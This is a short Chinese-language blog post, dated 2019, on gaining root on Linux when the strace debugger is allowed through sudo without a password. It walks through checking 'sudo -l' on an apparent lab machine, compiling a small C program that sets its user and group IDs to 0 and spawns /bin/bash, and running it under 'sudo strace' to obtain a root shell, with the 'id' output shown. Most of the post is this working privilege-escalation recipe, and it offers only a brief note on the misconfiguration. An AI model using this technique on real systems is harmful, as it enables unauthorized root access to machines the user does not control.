首页 > 技术文章 > sudo-strace提权法

zlgxzswjy 2019-01-31 15:43 原文

strace是一个linux平台下的调试工具,主要用来跟踪进程的系统调用和信号接收,在linux系统开发中十分常用,但由于该命令需要已root权限运行,不少开发人员为了方便开发,会为strace命令授予sudo权限。常见的一种错误就是为该命令授予无需密码的sudo权限。这就带来了一个安全问题

一、查看strace在sudo下是否可用

/home $ sudo -l
Matching Defaults entries for peter on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on linsecurity:
    (ALL) NOPASSWD: /usr/bin/strace

这里可以看见strace命令可以NOPASSWD的情况下通过sudo执行

二、编写提权程序

//getr.c
#include <stdlib.h>
#include <unistd.h>

int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
#gcc -o getr getr.c

三、strace命令提权

tmp$ sudo /usr/bin/strace ./getr 2>/dev/null
id
uid=0(root) gid=0(root) groups=0(root)
ls
getr       systemd-private-ee3c446c6f104cbcaeea4c8d92cdc15f-systemd-resolved.service-gSPqBs
getroot.c  systemd-private-ee3c446c6f104cbcaeea4c8d92cdc15f-systemd-timesyncd.service-UDn7KC

可以看到已经是root权限了

 

推荐阅读